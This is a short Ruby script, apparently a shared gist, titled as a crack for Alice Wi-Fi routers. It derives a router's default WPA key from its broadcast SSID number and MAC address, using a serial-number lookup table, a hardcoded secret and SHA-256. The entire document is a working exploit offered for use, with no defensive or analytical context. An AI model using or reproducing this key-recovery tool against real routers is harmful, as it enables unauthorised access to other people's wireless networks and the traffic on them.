Crack Alice WIFI router

gistfile1.rb

require 'digest/sha2'

def ssid_to_sn(ssid_number)
  key = ssid_number[0..1]
  if SN_TABLE[key]
    sn_part_1 = SN_TABLE[key][0]
    k = SN_TABLE[key][1]
    q = SN_TABLE[key][2]
    sn_part_2 = ((ssid_number.to_i - q) / k).to_i
    return "#{sn_part_1}X#{'%.7i' % sn_part_2}"
  else
    puts 'ROUTER NOT SUPPORTED'
    exit
  end
end

SN_TABLE = {
  '96' => ['69102', 13, 96017051],
  '93' => ['69101', 13, 92398366],
  '56' => ['67902', 13, 54808800],
  '55' => ['67904', 8,  55164449],
  '54' => ['67903', 8,  52420689],
  '48' => ['67903', 8,  47896103],
  '46' => ['67902', 13, 39015145]
}
ALIS       = "\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8"
CONV_TABLE = '0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123'

#SSID  = '96154825'
SSID  = ARGV[0]
SN    = ssid_to_sn(SSID)
#MAC  = "\x00\x23\x8E\x01\x02\x03"
MAC   = [ARGV[1]].pack('H*')
hash  = (Digest::SHA2.new << ALIS + SN + MAC).to_s
bytes = [hash].pack('H*').bytes.to_a

wpa = ''
24.times { |i| wpa += CONV_TABLE[bytes[i]] }

puts "WPA: #{wpa}"